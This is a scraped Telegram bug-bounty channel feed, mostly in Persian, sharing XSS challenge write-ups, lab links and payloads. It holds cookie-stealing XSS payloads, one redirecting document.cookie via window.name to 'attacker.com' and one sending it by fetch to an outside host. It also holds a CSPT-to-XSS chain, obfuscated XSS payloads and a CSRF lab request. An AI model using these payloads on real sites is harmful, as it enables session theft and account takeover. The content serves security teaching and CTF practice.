BugBounty & Hacking Resources – Telegram
BugBounty & Hacking Resources
1.18K subscribers
22 photos
2 videos
5 files
362 links
Download Telegram
آقا پسر حتما گوش کن به حرفای خاله نیوشا 💡😐😮👍
Please open Telegram to view this post
VIEW IN TELEGRAM
13😁7🤣6🔥22
Forwarded from GO-TO CVE (| | Sharo K h | |)
Solution:
هدف اصلی ما از این چالش این بود که در مرورگرها، آبجکت window یک property به نام name داره که به‌صورت پیش‌فرض یک رشتهٔ خالیه.
در مرورگر Google Chrome، وقتی مقداری برای این property ست می‌کنیم، کروم اون مقدار رو پاک نمی‌کنه مگر اینکه یه مقدار جدید جایگزینش بشه یا کل window بسته بشه.

اکسپلویت این موضوع به این شکله:

";window.name=document.cookie;location.href="//attacker.com";//

بعد از اینکه پنجره به سایت اتکر ریدایرکت شد، اونجا می‌شه یه کد جاوااسکریپت نوشت و مقدار کوکی رو از داخل window.name خوند.
4👏2
خب چلنج شاهرخ خیلی خوب بود چون ریسترکشن هاش زیاد بود و واسه بیشتر راه ها دستمونو میبست
منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه


حالا روشی که من رفتم (steal cookie only):

https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//


من یه چیز خیلی جالبو فهمیدم و با اون تونستم کوکیو بدزدم.

تیکه کد پایینو ببینید:


window.onload=alert;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name



بعد از اینکه روش های مشابه اینو رفتم دیدم
متوجه شدم که prototype میتونه property های متفاوتی داشته باشه مثل message
حالا اومدم هردو رو باهم نوشتم و یه چیز خیلی عجیب دیدم




window.onload=alert;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name="name";Event.prototype.message="message"


و توی الرت:
‍‍name: message
اینو دیدم

و خب کار دیگه خیلی ساده شد:

https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//


اینجوری کوکی رو میتونی بفرستی واسه هر سایتی که میخوای



روش بعدی FULL XSS

راستش از اولش هم دنبال این بودم که کامل xss کنم و حالا با اون گجت خیلی کارا میشد کرد:

Event.prototype.name="window.location=javanoscript"


window.location=javanoscript : (Event.prototype.message)


من اینجا به بعد سریع به جواب رسیدم و چیز زیادیو تست نکردم. پس اگه با روش دیگه ای زدید حتما تو کامنت بگید:


حالا باید یه جوری مقدار message رو کد js میذاشتم. و متاسفانه اینجا نتونستم با hash بزنم چون مستقیم هشتگ میفتاد اون اول و خرابش میکرد.


javanoscript:#anything


ایده ای که سریع به ذهنم رسید
این بود که با
location.pathname
بزنمش

و اینجا یه گجت دیگه هم پیدا کردم:
CSPT



https://rouhbakhsh.xyz//%0Aeval(location.hash.substr(1))'//%2f..%2findex2.php?q=x%22;window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22window.location=%27javanoscript%22;Event.prototype.message=location.pathname//#alert(origin)

میخواید پیلود رو ببینید چطوری شده. اون setTimeout رو بکنید alert


تشکر زیاد از شاهرخ:
@Sharo_K_h
🔥9👏21
https://newsletter.jsecurity.ir

هفته نامه js security
@catzfather
7🔥2
چند ماهی هست که نمیتونم درست حسابی فعالیت کنم
برای همین بوده دیگه مقاله نذاشتم و خودمم زیاد نخوندم😅

تصمیم گرفتم دوباره برگردم
و هرروز هانت کنم
دوباره هرچی بخونم شیر میکنم باهاتون
16👍3
لینکدینتونو چطوری اکتیو کردید دوباره؟

ریسترکشن خوردم و میگه باید id verify کنی
3
چه عددی آلرت میشه؟
```
x=[(3,4,5,1,2),alert]; x[1].bind(top)([3,5,4,2,1][x[0]]) ```
Anonymous Quiz
28%
1
4%
2
29%
3
29%
4
9%
5
🔥42👍1
🆘 رفقا اینو میتونید حل کنید:
https://lab.jsecurity.ir/lab2/

راه حل های خلاقانه تون رو میخوام بزارم توی هفته نامه Jsecurity .

داستانش اینه که CSRF توی کلوژر گیرکرده، و شما بایستی اونو بدست بیارید و درخواست بزنید به /update و فلگ رو توی صفحه چاپ کنید.

یه پارامتر q داره که به xss آسیب پذیره.

اپدیت: برای دیدن فلگ هم میتونید پاسخ اینو ببینید

await fetch("https://lab.jsecurity.ir/lab2/update", {
    "credentials": "include",
    "headers": {
        "Content-Type": "application/x-www-form-urlencoded",
    },
    "body": "_csrf=5yuyw85r-R_--IWCQfIFOE68dIE6QWdhrUWg&data=pwned",
    "method": "POST",
    "mode": "cors"
});
9
Another XSS Payload:

{document.body.setAttribute('contenteditable',true)}document.execCommand('insert'+'HTML',false,'<img/'+'src/'+'o'+'nerror=a'+'lert('+'/catfather/)>')


https://x.com/hoseinshurabi/status/1960794897465926038
🔥14
Another XSS payload 😂
{_=new Set()}{_[Symbol.iterator]=confirm.bind(null,'Catfather is here: '+navigation.currentEntry.url)}[_]=_

https://x.com/hoseinshurabi/status/1961085469216645322
🔥101
https://x.com/xssdoctor/status/1961157661048578402?s=46


cspt waf bypass

key part:

However, as mentioned on ctbbpodcast, fetch will REMOVE a tab (%09) from the url. So if you enter target.com/123456%5c.%09.…, the js will often url decode, then remove the tab and normalize \ to / and requests api.target.com/api/v1/whatever. If you repeat the pattern, you can often get down to the api root
6
برقا رفته :( گفتم یه پیلود جدید بنویسم اما به توصیه حاج مهدی
بدون پرانتزشو نوشتم، که قراره بهتون بگم چطوری با آموزشهایی که تو هفته نامه تا الان دیدین و خواهید دید، این یکی ساخته شده و داستان پشت پرده چیه.از دست ندین این هفته نامه رو رفقا حیفس🤌
17
https://x.com/hoseinshurabi/status/1963639674838081947
خبر خوب برای بچه های هفته نامه، من امروز با
آدام صحبت کردم و به کامیونتی فارسی زبان محبت داشتن و قرار شد بین کسانی که لابراتوری مرتبط به هفته ۷ رو حل کنند قرعه کشی کنیم و به یک نفر از طرف @hackinghub_io دوره Hands-On Web Exploitation جایزه بدیم.
18👍2